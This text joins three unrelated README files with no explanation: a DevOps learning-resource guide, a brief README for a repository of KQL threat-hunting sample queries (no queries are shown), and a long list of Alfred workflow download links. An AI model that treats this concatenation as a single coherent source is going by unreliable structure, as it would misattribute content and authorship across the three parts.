[How to Become a DevOps Engineer in Six Months?](https://spacelift.io/blog/how-to-become-devops-engineer) | Skills you need to become DevOps Engineer
### Learn about DevOps
Name | Description
:------|:------:
[What is DevOps? - Amazon](https://aws.amazon.com/devops) | Learn what is DevOps by Amazon and which AWS services can help you to practice DevOps
[What is DevOps? - Red Hat](https://www.redhat.com/en/topics/devops) | Learn what is DevOps by Red Hat, including many interesting articles
[What is DevOps? - Microsoft](https://docs.microsoft.com/en-us/azure/devops/learn/what-is-devops) | Learn what is DevOps by Microsofy, including Azure DevOps service
[What is DevOps? - Google](https://cloud.google.com/devops) | Learn what is DevOps by Google
[Who is DevOps? - Spacelift](https://spacelift.io/blog/who-is-devops-engineer) | Who is DevOps? Is it Worth it to Become a DevOps Engineer?
### Learn Git
Make sure you are comfortable with the following list once you done learning Git basics
* Commit changes to a project
* Submit pull/merge requests
* Working with branches
* Rebase changes (change order, squash, ...)
Name | Description
:------|:------:
[Interactive Git Branching Learning](https://learngitbranching.js.org/) | Visual and interactive way to learn Git branching
[Learn git concepts, not commands](https://dev.to/unseenwizzard/learn-git-concepts-not-commands-4gjc) | Article on Git concepts
[Codeacademy Learn Git](https://www.codecademy.com/learn/learn-git) | Not Free
### Programming
Practicing DevOps without knowing programming is like eating cornflakes with ketchup - it's just doesn't makes sense (yes, my analogies are the worst).<br>
Here is a list of some good sites to practice programming in general:
Name | Comments
:------|:------:
[HackerRank](https://www.hackerrank.com) | Practice Coding skills
[Exercism](https://exercism.io) | Over 48 languages and 2600 exercises
[LeetCode](https://leetcode.com) | Practice programming online
A better approach might be to actually write some DevOps related scripts or projects. Start simple. Here are some ideas:
* Write a script that gets a number of instances and a name of a platform (AWS, local, Azure, ...) as parameters and provisions those instances on the chosen platform
* Write a script to parse logs and extract some specific information you are interested in
* Write a script that extracts information from some website using web scraping libraries
### Operating Systems
Deep dive into operation system internals. Linux should be your first choice.
Here is a list of resources that will help you learn Linux.<br>
Also, don't waste a second on picking the right distribution. For learning OS concepts and internals, any distribution would work fine.
Name | Comments
:------|:------:
[Linux Journey](https://linuxjourney.com) | Written guides + exercises + quiz
[Techmint Linux](https://www.tecmint.com/free-online-linux-learning-guide-for-beginners) | Written articles/lessons
[Linux Survival](https://linuxsurvival.com/linux-tutorial-introduction) | Interactive guide
Once you are familiar with the commands and feel comfortable enough to keep deep diving, learn some OS concepts:
* Memory Management
* Processes
* Kernel
* Virtulization
#### Linux Master Application
A completely free application for testing your knowledge on Linux
<a href="https://play.google.com/store/apps/details?id=com.codingshell.linuxmaster"><img src="images/linux_master.jpeg"/></a>
### System Design
System Design can be a complex topic. For that reason, I've created a separate repository for you to learn it properly.
<p align="center"><a href="https://github.com/bregman-arie/system-design-notebook"><img src="images/system_design_notebook.png"/></a></p>
### Tooling, Apps & Services
Name | Description
:------|:------:
[Periodic table of DevOps tools](https://xebialabs.com/periodic-table-of-devops-tools) | Table of DevOps tools per category
[DevOps tool chest](https://xebialabs.com/the-ultimate-devops-tool-chest/#tool-chest-type) | List of DevOps tools
[DevOps Bookmarks](http://www.devopsbookmarks.com) | NSIA
[CNCF Cloud Native Interactive Landscape](https://landscape.cncf.io) | CNCF's recommended path through the cloud native landscape
[DevOpsBookmarks](https://www.devopsbookmarks.org) | To discover tools in the devops landscape.
## Interactive practice and learning sites
Learning by doing proved to be a very effective way to learn new things. If you are at a point where you don't feel comfortable enough to do it by yourself and you look for some guidance, the following sites might assist you
Name | Description
:------|:------:
[KataKoda](https://www.katacoda.com) | Linux, Docker, ML, Kubernetes, ... environments and scenarios
[QWIKLBAS](https://www.qwiklabs.com) | AWS, GCP, ... lab practice
## Community
Another great way to learn is to learn from the experience of others. For that, the are some excellent DevOps communities.
Name | Comments
:------|:------:
[Reddit DevOps](https://www.reddit.com/r/devops) | Reddit DevOps Community
[Linkedin DevOps](https://www.linkedin.com/groups/2825397) | Linkedin DevOps Community
[DevOps Bits](https://www.facebook.com/groups/538897960007080) | Facebook DevOps group. Disclosure: I started it :)
## Conferences
Name | Comments
:------|:------:
[DevOpsDays](https://devopsdays.org) | DevOps Conferences around the world
[Velocity](https://conferences.oreilly.com/velocity) | Oracle's DevOps conference
## Books
Read book! Practice is important and the best way to learn practical things but reading about cultures, methods, concepts, ... has its own important role in your path towards mastering DevOps and SRE.
Name | Comments
:------|:------:
[The Phoenix Project](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/1942788290) | DevOps explained through a story of a fictional company on the brink of a failure
[The DevOps Handbook](https://www.amazon.com/dp/1942788002) |
[Google SRE books](https://landing.google.com/sre/books) | Very detailed books on the theory and also practice of SRE
[Essential Infrastructure as Code](https://www.manning.com/books/essential-infrastructure-as-code) | VBook about automating software infrastructure by capturing desired configurations as a set of scripts.
## Blogs & News
Name | Description
:------|:------:
[opensource.com](https://opensource.com) | open source related articles including DevOps
[CooperPress](https://cooperpress.com/publications) | various newsletters on different topics
[afreshcup](https://afreshcup.com) | "covering Ruby on Rails and whatever else I find interesting in the universe of software"
[thisweekindevops.com](https://thisweekindevops.com) | "DevOps news without the hype"
[Uber Engineering](https://eng.uber.com/) | Not only DevOps
[Azure DevOps Blog](https://devblogs.microsoft.com/devops) | Microsoft DevOps Blog
[DevOps Dudes](https://medium.com/devops-dudes) | "Shortening the system development life cycle"
[Netflix Tech Blog](https://netflixtechblog.com/tagged/devops) | Not Only DevOps
[CloudBees Blog](https://www.cloudbees.com/blog) |
[Red Hat Blog](ttps://www.redhat.com/en/blog) | Not only DevOps
[Atlassian DevOps Blog](https://www.atlassian.com/blog/devops) |
[Facebook Engineering Blog](https://engineering.fb.com) | Not only DevOps
## Articles
Name | Description
:------|:------:
[Infrastructure as Code, Part One](https://crate.io/a/infrastructure-as-code-part-one) |
[DevOps Best Practices](https://gist.github.com/jpswade/4135841363e72ece8086146bd7bb5d91) | What is DevOps + list of resources
[Infrastructure as Code: Examples, Best Practices & Tools](https://spacelift.io/blog/infrastructure-as-code) |
## DevOps Snippets
Name | Description
:------|:------:
[DevOpsnipp](https://www.devopsnipp.com/) | Sharing DevOps Snippets
[Gist](https://gist.github.com) | Not DevOps specific
## Other Great Projects
Name | Comments
:------|:------:
[DevOps Wiki](https://github.com/Leo-G/DevopsWiki) | "A wiki of Devops Tools, Tutorials and Scripts"
[cheat-sheet-pdf](https://github.com/sk3pp3r/cheat-sheet-pdf) | "Cheat-Sheet Collection for DevOps, Engineers, IT and more"
[System Design Primer](https://github.com/donnemartin/system-design-primer) | "Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards."
[awesome-sre](https://github.com/dastergon/awesome-sre) | A curated list of Site Reliability and Production Engineering resources
## Interview Questions
Name | Comments
:------|:------:
[System Design Primer](https://github.com/donnemartin/system-design-primer) | "Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards."
kdn251 | [Interviews](https://github.com/kdn251/interviews) |
[DevOps Exercises](https://github.com/bregman-arie/devops-exercises) | By topic, DevOps related questions and exercises
## Misc
Name | Description
:------|:------:
[CheatSheets](https://cheatsheet.dennyzhang.com) | CheatSeets for Kubernetes, Jenkins, YAML, Groovy, etc.
[Codelabs](https://codelabs.transcend.io) | "Codelabs provide a guided, tutorial, hands-on coding experience"
## Design & Architecture
Name | Description
:------|:------:
[The 12 Factor App](https://12factor.net) | must-read in my opinion
[A distributed Systems Reading List](https://dancres.github.io/Pages/?fbclid=IwAR2gapLU03iaxH4NDotc0LD_GiXOkyByfMT3iwufofUOEfCKEVwmezE3vCw)
## DevOps Tooling
- [ ] CI/CD
- [ ] Jenkins (Managed & on-premise, Containers supported, Plugins)
- [ ] GitHub Actions (Hosted service)
- [ ] Travis (Hosted service)
- [ ] CircleCI (Hosted service)
- [ ] GitLab CI (Hosted service and on-premise)
- [ ] Bamboo (Managed service and on-premise)
- [ ] [BuildKite](https://buildkite.com) (Hosted)
- [ ] [Zuul](https://zuul-ci.org/docs/zuul) (Hosted and on-premise)
- [ ] [Drone](https://www.drone.io)
- [ ] [Tekton](https://cloud.google.com/tekton)
- [ ] [Argo CD](https://argoproj.github.io/argo-cd)
Note: "Provisioning" tools can be used to perform configuration management to some extent. The same applies for configuration management tools, which can be used for pprovisioning.
- [ ] Provisioning
- [ ] Terraform (Open Source)
- [ ] CloudFormation (Available only on AWS)
- [ ] Pulumi (Open Source)
- [ ] Configuration Management (all Open Source)
- [ ] Ansible (Agentless, Mutable Infrastructure, Procedural)
- [ ] Puppet (Agent, Mutable Infrastructure, Procedural)
- [ ] Chef (Mutable Infrastructure)
- [ ] Saltstack (Mutable Infrastructure)
- [ ] [Spacelift](https://spacelift.io/) (`$$$`)
- [ ] Images
- [ ] [diskimage-builder](https://github.com/openstack/diskimage-builder)
- [ ] [Packer](https://www.packer.io)
- [ ] Cloud
- [ ] AWS
- [ ] Azure
- [ ] GCP
- [ ] OpenStack
- [ ] Monitoring
- [ ] [Prometheus](https://prometheus.io)
- [ ] Nagios (Mostly legacy today)
- [ ] Sensu
- [ ] Datadog (`$$$`)
- [ ] Zabbix
- [ ] Monit
- [ ] [Statuscake](https://www.statuscake.com) - Website Uptime & Performance Monitoring
- [ ] Log Management
- [ ] Logstash
- [ ] Graylog
- [ ] Papertrail
- [ ] Fluentd
- [ ] [Splunk](https://www.splunk.com)
- [ ] [SumoLogic](https://www.sumologic.com)
- [ ] Dashboards
- [ ] Grafana
- [ ] Kibana (Elastic)
- [ ] Report Portal (Mostly for Test Automation)
- [ ] Security
- [ ] [Vault](https://www.vaultproject.io) - "Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets..."
- [ ] [Open Policy Agent](https://www.openpolicyagent.org) - "Flexible, fine-grained control for administrators across the stack"
- [ ] Code review
- [ ] Gerrit - Code Review system
- [ ] PullPanda - A collection of Tools such as reminder & analytics
- [ ] Review Board
- [ ] Issue Tracking
- [ ] Jira
- [ ] Bugzilla
- [ ] Code coverage
- [ ] Cobertura
- [ ] Clover
- [ ] JaCoCo
- [ ] Data Processors
- [ ] Spark
- [ ] Apache Hadoop
- [ ] Apache Airflow
- [ ] Presto
- [ ] Analytics Engines
- [ ] Druid
- [ ] Dremio
- [ ] Snowflake
- [ ] Operations Data
- [ ] Salesforce
- [ ] Zuora
- [ ] Containers Orchestration
- [ ] Kubernetes
- [ ] OpenShift
- [ ] Nomad
- [ ] Alerting
- [ ] PagerDuty
- [ ] ServiceNow
- [ ] Slack (Mostly used for IM)
- [ ] Metric Storage
- [ ] InfluxDB
- [ ] Splunk
- [ ] Cloud Storage services and Databases
## More Infra & DevOps projects
<p align="center"><a href="https://github.com/bregman-arie/howtheydevops"><img src="images/how_they_devops.png"/></a></p>
<p align="center"><a href="https://github.com/bregman-arie/devops-exercises"><img src="images/devops_exercises.png"/></a></p>
<p align="center"><a href="https://github.com/bregman-arie/infraverse"><img src="images/infraverse.png"/></a></p>
## Credits
Images and icons attribution can be found [here](credits.md)
## License
[](https://creativecommons.org/licenses/by-nc-nd/3.0/)
|
# About
* This repo contains sample queries for Hunting to aid in the development of techniques for threat hunting leveraging logs from multiple sources.
* With these sample queries, you can get a headstart in learning the Kusto Query Language (KQL) and understanding the different data sources.
* To get started, simply paste a sample query into the user interface and run the query.
# Resources
* [Azure Log Analytics Query Language Reference](https://docs-analytics-eus.azurewebsites.net/index.html)
* [SQL to Log Analytics Query Cheat Sheet](https://docs-analytics-eus.azurewebsites.net/learn/cheatsheets/sql_to_azure_log_analytics.html)
* [Splunk to Log Analytics Query Cheat Sheet](https://docs-analytics-eus.azurewebsites.net/learn/cheatsheets/overview_splunk_to_azure_log_analytics_operators.html)
* [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page)
* [MITRE CAR](https://car.mitre.org/wiki/Main_Page)
# Contributing
* The more queries and tools we add to the community the more effective we will be.
* Utilize the QUERY_TEMPLATE format for Pull requests.
# Feedback
For questions or feedback, please contact [email protected]
|
## A collection of Alfred3 compatible workflows.
Sharing, suggestions and contributions are always welcome!
## Workflows
* [(Hotkey) Toggle Apps](https://github.com/packal/repository/raw/master/com.rodrimen.toggleapps/toggle_apps.alfredworkflow) - Script to toggle apps with keyboard shortcuts
* [.icns icon setter](https://github.com/packal/repository/raw/master/com.edwin.selficon/set_as_icon_to_self.alfredworkflow) - Set the icon of a ".icns" file by using the actual file
* [10.000ft Scripts](https://github.com/packal/repository/raw/master/10000ft.scripts/10.000ft-scripts-0.5.3.alfredworkflow) - The aim is to make working with 10.000ft faster.
* [17Hats](https://github.com/packal/repository/raw/master/com.17hats.duarteharris/17hats.alfredworkflow) - A simple hotkey and keyword to access your 17hats areas
* [17Track](https://github.com/packal/repository/raw/master/com.17Track/17track.alfredworkflow) - Workflow used to track your shipments on 17Track.net
* [1Password Open](https://github.com/packal/repository/raw/master/com.alfredapp.renegaed.1password/1password.alfredworkflow) - Search and Open 1Password
* [8 Ball](https://github.com/packal/repository/raw/master/com.danieljchen.8ball/magic_8_ball.alfredworkflow) - Magic 8 Ball Alfred Workflow that gives a random response from a set of 20
* [ABN Lookup](https://github.com/packal/repository/raw/master/zuccs.abnlookup/abnlookup.alfredworkflow) - Perform a quick ABN lookup via ABR website.
* [ADB WiFi](https://github.com/packal/repository/raw/master/com.sheyne.adb-wifi/adb_wifi.alfredworkflow) - Reconnect an android device for WiFi debugging
* [ASCII smileys ツ](https://github.com/packal/repository/raw/master/com.thomaspeikert.ascii_smileys/ascii_smileys_tu.alfredworkflow) - Copy and paste ascii smileys (largely made from chinese characters) ¯\_(ツ)_/¯
* [AWS Console Services](https://github.com/packal/repository/raw/master/com.ryankoval.awsconsoleservices/aws_console_services_v2.2.alfredworkflow) - Very simple workflow to quickly open up AWS Console Services in your browser
* [AWS Region Codes](https://github.com/packal/repository/raw/master/com.elbanic.awsregion/aws_region_codes-v1.2.alfredworkflow) - View and Copy AWS region codes
* [About This Mac](https://github.com/packal/repository/raw/master/yeraze.AboutThisMac.v1.3/about_this_mac.alfredworkflow) - Retrieve and show your Mac details
* [Absolut Drinks Database](https://github.com/packal/repository/raw/master/com.jyeakley.addb/absolut_drinks_database.alfredworkflow) - API to search the Absolut Drinks Database
* [Activate Keeping You Awake](https://github.com/packal/repository/raw/master/kyleking.KeepingYouAwake.mac/activate_keeping_you_awake.alfredworkflow) - Use the popular Keeping You Awake Extension's scripting powers from Alfred
* [Add Calendar Event](https://github.com/packal/repository/raw/master/tox.new_event/add_calendar_event_v1.2.2.alfredworkflow) - Just type: cal [event] at [time] [on [date]] in [location] @[calendar name] alarm [X min|hour|day|month|year] ...
* [Add to Fantastical](https://github.com/packal/repository/raw/master/com.dean-christensen.fantastical2/add_to_fantastical.alfredworkflow) - Add items to Fantastical 2 using plan english
* [Add to Playlist](https://github.com/packal/repository/raw/master/com.sztoltz.addtoplaylist/addtoplaylist.alfredworkflow) - Add Current Song to an iTunes Playlist (or Build Playlists)
* [Advanced Google and Apple Maps Search](https://github.com/packal/repository/raw/master/com.stuartryan.alfred.advancedgooglemaps/advanced_google_maps_search.alfredworkflow) - Easy searching of Google Maps or Apple Maps including directions to or from work/home/custom locations.
* [Advanced Google and Apple Maps Search](https://github.com/packal/repository/raw/master/com.stuartryan.alfred.advancedgooglemaps/advanced_google_maps_search.alfredworkflow) - Easy searching of Google Maps or Apple Maps including directions to or from work/home/custom locations.
* [AirDrop & WiFi](https://github.com/packal/repository/raw/master/com.riot.airdropwifi/airdropwifi.alfredworkflow) - Enables/Disables WiFi and opens AirDrop
* [AirPlay Spreader](https://github.com/packal/repository/raw/master/mo.com.sleeplessmind.airplay/airplay_spreader.alfredworkflow) - Extend your display to an AirPlay device directly from Alfred
* [AirPlay via Beamer](https://github.com/packal/repository/raw/master/de.bennysamirhierl.beamer/airplay_via_beamer.alfredworkflow) - Play Videos over Airplay via Beamer
* [AirPods](https://github.com/packal/repository/raw/master/com.jrejaud.airpods/airpods.alfredworkflow) - Connect/ Disconnect from your AirPods
* [AirPods Connector](https://github.com/packal/repository/raw/master/de.mariuskiessling.alfred-airpods-connector/airpods_connector.alfredworkflow) - Quickly connect your AirPods!
* [Airmail-to-Todoist](https://github.com/packal/repository/raw/master/us.markgroves.airmail-to-doist/alfred-airmail-to-todoist-1.0.0.alfredworkflow) - Simple way to create a task in Todoist based on a mail in Airmail 3
* [Airport Search](https://github.com/packal/repository/raw/master/org.jeef.airports/airport_search-0.6.25.alfredworkflow) - ICAO / IATA Airport Search as well as Airport Details loaded from OurAirports.com
* [Airports](https://github.com/packal/repository/raw/master/tirol.basecamp.alfredworkflow.airport-codes/airport-1.0.3.alfredworkflow) - Get information about all airports in the world.
* [AlfCard](https://github.com/packal/repository/raw/master/clipcard.alfred2.alfcard/alfcard.alfredworkflow) - ClipCard for Alfred - search across your apps and cloud accounts instantly from your Mac.
* [Alfred Backblaze](https://github.com/packal/repository/raw/master/com.xedmada.alfred.backblaze/backblaze.alfredworkflow) - Pause and Start Backblaze online backups
* [Alfred Bible](https://github.com/packal/repository/raw/master/com.customct.AlfredBible/alfredbible.alfredworkflow) - Pastes Bible verse from reference in selected language.
* [Alfred Browser Toolbox](https://github.com/packal/repository/raw/master/com.customct.AlfredBrowser/alfredbrowsertoolbox.alfredworkflow) - Things to help using the Alfred Browser.
* [Alfred Chrome](https://github.com/packal/repository/raw/master/it.cowtech.alfred.chrome/alfred_chrome.alfredworkflow) - Opens a URL in Google Chrome, optionally in incognito and with specific profile.
* [Alfred Confluence Quick search](https://github.com/packal/repository/raw/master/com.k15t.labs.alfredapp.confluence.quicksearch/alfred-confluence.alfredworkflow) - The Alfred Confluence workflow makes the Confluence Quick search available in the Alfred App.
* [Alfred Cron](https://github.com/packal/repository/raw/master/alfred.cron.spr/alfred_cron.alfredworkflow) - Schedule Scripts with Alfred
* [Alfred CyberChef](https://github.com/packal/repository/raw/master/io.russtone.cyberchef/cyber_chef.alfredworkflow) - Helps to interact with https://gchq.github.io/CyberChef/
* [Alfred Dependency Bundler Demo (Python)](https://github.com/packal/repository/raw/master/net.deanishe.alfred-bundler-python-demo/alfred_bundler_demo_python.alfredworkflow) - Demonstration on how to use the Alfred Bundler in Python
* [Alfred Dependency Bundler Example](https://github.com/packal/repository/raw/master/alfred.bundler.example.spr/alfred_dependency_bundler_example.alfredworkflow) - An example workflow to show how the Alfred Dependency Bundler works
* [Alfred Editor](https://github.com/packal/repository/raw/master/com.customct.AlfredEditor/alfrededitor.alfredworkflow) - An editor for Alfred.
* [Alfred Emoji Workflow](https://github.com/packal/repository/raw/master/carlosgaldino.emoji-codes/emoji-codes.alfredworkflow) - Alfred 2 workflow for searching emoji codes.
* [Alfred Faker](https://github.com/packal/repository/raw/master/com.groenewege.faker/faker.alfredworkflow) - Generate fake data
* [Alfred Kat](https://github.com/packal/repository/raw/master/info.sleeplessmind.kat/kat.alfredworkflow) - Look for magnet links on KickAssTorrents
* [Alfred Keyword Help](https://github.com/packal/repository/raw/master/com.pochemuto.alfred.workflow.AlfredHelp/alfred-keywords-help-1.0.1.alfredworkflow) - Show and filter available keywords
* [Alfred Markdown Table](https://github.com/packal/repository/raw/master/com.crispgm.alfred_markdown_table/alfred-markdown-table.alfredworkflow) - Generate Markdown Table with Alfred Workflow.
* [Alfred OTP](https://github.com/packal/repository/raw/master/com.github.caalberts.alfredotp/alfred_otp.alfredworkflow) - Generate OTP using keychain backed token
* [Alfred OpenClipart Search](https://github.com/packal/repository/raw/master/design.codeux.openclipart/alfred-openclipart-1.0.0.alfredworkflow) - Alfred workflow to search for clipart SVGs on openclipart.org
* [Alfred Soundboard](https://github.com/packal/repository/raw/master/com.alfred.firemylazer.soundboard/alfred_soundboard.alfredworkflow) - A soundboard for alfred at your fingertips
* [Alfred Time Keeper](https://github.com/packal/repository/raw/master/com.customct.AlfredTimeKeeper/alfredtimekeeper.alfredworkflow) - This workflow helps you to track time spent on each project each day.
* [Alfred Today](https://github.com/packal/repository/raw/master/org.jeef.today/alfred_today-5.0.7.alfredworkflow) - Loads a daily list of events from Google and/or Exchange calendars
* [Alfred URI Handler](https://github.com/packal/repository/raw/master/com.customct.AlfredURIHandler/alfredurihandler.alfredworkflow) - Alfred URI Handler installer.
* [Alfred URI Parser](https://github.com/packal/repository/raw/master/com.dk.URIParser/uri-parser.alfredworkflow) - Splits URI into host, port and path. Copy any of the URI components into clipboard.
* [Alfred Workflow Builder QuickRef](https://github.com/packal/repository/raw/master/com.build-awf.alc/alfred_workflow_builder_quickref.alfredworkflow) - Designed to help with building Alfred workflows efficiently. Shows the last Alfred workflow you were working on at the top of the list. Same with the data folder.
* [Alfred npm search](https://github.com/packal/repository/raw/master/com.pawelgrzybek.npm/npm_search.alfredworkflow) - Alfred workflow to search for npm package using npms API.
* [Alfred-BetterTouchTool Integration](https://github.com/packal/repository/raw/master/com.Alfred.example/btt-alfred_integration_example.alfredworkflow) - Example workflow for BTT integration, see forum post: https://www.alfredforum.com/topic/12476-alfred-bettertouchtool-touch-bar-integration/
* [Alfred-CDN-Workflow](https://github.com/packal/repository/raw/master/com.cdn.azai91/cdn.alfredworkflow) - Find CDNs quick with Alfred
* [Alfred-Drive-Workflow](https://github.com/packal/repository/raw/master/com.drive.azai91/google_drive.alfredworkflow) - Browse, search and open Google Drive files from within Alfred.
* [Alfred-HipChat](https://github.com/packal/repository/raw/master/com.sprackett.alfred.hipchat/alfred-hipchat.alfredworkflow) - Allows you to navigate HipChat rooms and IM's from within Alfred
* [Alfred-Outlook](https://github.com/packal/repository/raw/master/com.github.xeric.alfred-outlook/alfred-outlook.alfredworkflow) - Alfred Outlook plugin to support search email, compose email, search contacts and so on...
* [Alfred-Time](https://github.com/packal/repository/raw/master/mo.com.sleeplessmind.time/time.alfredworkflow) - Start and stop tracking time with Toggl and/or Harvest through Alfred
* [Alfred-Time V2](https://github.com/packal/repository/raw/master/mo.com.sleeplessmind.time-v2/time.alfredworkflow) - Start, stop or continue tracking time with Toggl or Alfred
* [Alfred-Todoist-Workflow](https://github.com/packal/repository/raw/master/com.todoist.azai91/todoist.alfredworkflow) - Quickly add tasks to Todoist
* [Alfred-Translate](https://github.com/packal/repository/raw/master/me.wanzy/alfred-translate.alfredworkflow) - Both-side translation between Chinese and English
* [Alfred-Venmo-Workflow](https://github.com/packal/repository/raw/master/com.venmo.azai91/venmo.alfredworkflow) - Pay and charge friends easily in venmo
* [Alfred.QRCode](https://github.com/packal/repository/raw/master/com.hilen.qrcode/qr_code.alfredworkflow) - A QRcode generator with python-qrcode for Alfred Workflows
* [AlfredBookmarklet](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.alfredbookmarklet/alfredbookmarklet.alfredworkflow) - Use a browser bookmarklet via Alfred
* [AlfredBullet](https://github.com/packal/repository/raw/master/fi.matiaskorhonen.alfred-bullet/alfredbullet-1.0.2.alfredworkflow) - Send links or text to devices via PushBullet
* [AlfredDig](https://github.com/packal/repository/raw/master/pjkh.dig/dig.alfredworkflow) - A workflow for Alfred to perform DNS lookups using dig and optionally copy a specific result to the clipboard.
* [AlfredFM](https://github.com/packal/repository/raw/master/com.filipebarros.alfredfm/alfredfm.alfredworkflow) - Last.fm on Alfred!
* [AlfredModeration](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.alfredmoderation/alfredmoderation.alfredworkflow) - Tools to help moderate the Alfred forums
* [AlfredPow](https://github.com/packal/repository/raw/master/pjkh.pow/pow.alfredworkflow) - A workflow to manage Pow and your Pow applications.
* [AlfredTweet](https://github.com/packal/repository/raw/master/jdfwarrior.alfredtweet/alfredtweet.alfredworkflow) - Tweeting from Alfred like never before!
* [Alphy](https://github.com/packal/repository/raw/master/com.maximepeschard.alphy/alphy.alfredworkflow) - Search and get links for GIFs on Giphy with Alfred
* [Amazon to UK](https://github.com/packal/repository/raw/master/ideasasylum_amazon_to_uk/amazon_to_uk.alfredworkflow) - Changes the Google Chrome current tab from an amazon.com page to the appropriate amazon.co.uk page
* [Amphetamine Control](https://github.com/packal/repository/raw/master/com.gustafson.william/amphetamine_control.alfredworkflow) - Control Amphetamine from Alfred and keep your Mac awake.
* [Amphetamine Switch](https://github.com/packal/repository/raw/master/com.davidchennow.workflow/amphetamine_switch.alfredworkflow) - a alfred workflow to control amphetamine
* [Amphetamine on-off](https://github.com/packal/repository/raw/master/com.0dd.amphetamine/amphetamine_on-off.alfredworkflow) - An amphetamine control workflow based on the original author's work
* [Android adb](https://github.com/packal/repository/raw/master/com.anicks.alfred.adb/android.adb_.alfredworkflow) - Handy adb commands
* [Android emulator](https://github.com/packal/repository/raw/master/anicks.com.alfred.android_emulator/android_emulator_v1.0.1.alfredworkflow) - list/start android emulator
* [Anki](https://github.com/packal/repository/raw/master/net.drlulz.alfred-anki/anki.alfredworkflow) - Alfred interface for Anki
* [Antidote 10](https://github.com/packal/repository/raw/master/antidote.jolinmasson.com/antidote_10.alfredworkflow) - Look up words in Antidote 10
* [Antidote 9](https://github.com/packal/repository/raw/master/io.hugo.theriaque/antidote_9.alfredworkflow) - Look up words in Antidote
* [AnyBar Workflow](https://github.com/packal/repository/raw/master/com.customct.AnyBar/anybarworkflow.alfredworkflow) - A workflow to work with the AnyBar.app free applicaiton.
* [Aperture Remote](https://github.com/packal/repository/raw/master/fm.fastmail.dfay.apertureremote/aperture_remote.alfredworkflow) - Control Aperture on your Mac using Alfred Remote for iOS
* [App Install](https://github.com/packal/repository/raw/master/de.devignore.dmginstall/app_install.alfredworkflow) - Lists and installs the most recent applications from your Downloads folder
* [App Shortcuts](https://github.com/packal/repository/raw/master/com.firedev.app_shortcuts/app_shortcuts.alfredworkflow) - Makes computer a single entity rather than a bunch of apps.
* [AppDelete](https://github.com/packal/repository/raw/master/de.schneppi.appdelete/appdelete.alfredworkflow) - Remove App and cleanup with AppDelete
* [AppFreeze](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.appfreeze/appfreeze.alfredworkflow) - Pauses and resumes execution of the frontmost app
* [AppScripts](https://github.com/packal/repository/raw/master/net.deanishe.alfred-appscripts/appscripts-3.0.alfredworkflow) - List, search and run/open AppleScripts for the active application
* [AppVersion](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.appversion/appversion.alfredworkflow) - Show version number of installed apps
* [Appear.in](https://github.com/packal/repository/raw/master/de.bennysamirhierl.appear/appearin.alfredworkflow) - Create a Appear.in meeting room-
* [Apple Color Lists](https://github.com/packal/repository/raw/master/org.schoeps.clr/applecolorlists.alfredworkflow) - This worklows gives quick access to the colors defined in Apple's color lists ("clr")
* [Apple Reminders](https://github.com/packal/repository/raw/master/com.alfred2.workflow.applereminder/apple_reminders.alfredworkflow) - Adds reminders to Apple Reminders
* [Ariafred](https://github.com/packal/repository/raw/master/dog.wil.ariafred/ariafred.alfredworkflow) - Manage Aria2 downloads directly in Alfred, with background notification.
* [Asana Workflow](https://github.com/packal/repository/raw/master/com.herokuapp.jotc.asana/asana.alfredworkflow) - Advanced workflow for Asana with GTD principles (optionally integrates also with Atlassian Jira and AnyBar)
* [Atlassian Bamboo Workflow](https://github.com/packal/repository/raw/master/ch.mibex.bamboo.alfred-workflow/atlassian-bamboo-workflow-1.1.0.alfredworkflow) - Search for projects, plans, build results and more in Atlassian Bamboo
* [Atlassian Bitbucket Server Workflow](https://github.com/packal/repository/raw/master/ch.mibex.stash.alfred-workflow/atlassian-stash-workflow-1.2.0.alfredworkflow) - Search for repositories, projects and pull requests in Atlassian Stash and Bitbucket Server.
* [Atlassian Bitbucket Server Workflow](https://github.com/packal/repository/raw/master/ch.mibex.stash.alfred-workflow/atlassian-stash-workflow-1.2.0.alfredworkflow) - Search for repositories, projects and pull requests in Atlassian Stash and Bitbucket Server.
* [Atmos](https://github.com/packal/repository/raw/master/com.therockmandolinist.alfred-atmos/atmos-1.0.3.alfredworkflow) - An Alfred workflow to find temperature, speed of sound, pressure, and density at queried altitude, according on International Standard Atmosphere model.
* [Atom](https://github.com/packal/repository/raw/master/com.alfredapp.mdeboer.atom/atom.alfredworkflow) - Simple workflow that allows you to browse and open Atom projects
* [Atom](https://github.com/packal/repository/raw/master/com.yukihe.workflow.atom/atom.alfredworkflow) - Open Folder of current Finder by Atom
* [Audio Switch](https://github.com/packal/repository/raw/master/rsampayo.audioswitch/audio_switch.alfredworkflow) - Switch between your input sources and output devices.
* [Auror](https://github.com/packal/repository/raw/master/com.github.mrtrustworthy.auror/auror.alfredworkflow) - A simple Nanoleaf effect switcher
* [Autojump](https://github.com/packal/repository/raw/master/com.lepht.alfred.autojump/autojump.alfredworkflow) - This is an Alfred 2 workflow to provide you a faster way to navigate your filesystem via autojump
* [BOFH Excuses](https://github.com/packal/repository/raw/master/multigeneris.alfred.workflow.bofhexcuses/bofhexcuses.alfredworkflow) - This workflow returns a BOFH excuse.
* [BT Audio](https://github.com/packal/repository/raw/master/com.watts.btaudio/connect_bt-audio.alfredworkflow) - Connect to already paired Bluetooth Devices
* [BUPT network client](https://github.com/packal/repository/raw/master/bupt_network_client.alfred.2hu.me/bupt_network_client.alfredworkflow) - BUPT network client, to login or logout.
* [Bagoum Shadowverse Card Search](https://github.com/packal/repository/raw/master/com.fbcpck.bagoumcardsearch/bagoum-card-search-2018-03-29-1.alfredworkflow) - Search Shadowverse card and open its link in Bagoum
* [Baidu Translate (百度翻译)](https://github.com/packal/repository/raw/master/com.alfredapp.baidu_fanyi/bai_du_fan_yi_.alfredworkflow) - Translate using Baidu's translate service API.
* [Baidu Translation](https://github.com/packal/repository/raw/master/com.my.workflow.baidutranslation/baidu_fanyi.alfredworkflow) - Translate words by Baidu Translation Service
* [Baidu-X](https://github.com/packal/repository/raw/master/whtsky.alfred.baidu-x/baidu-x.alfredworkflow) - Helps you generate link for "Baidu-X"
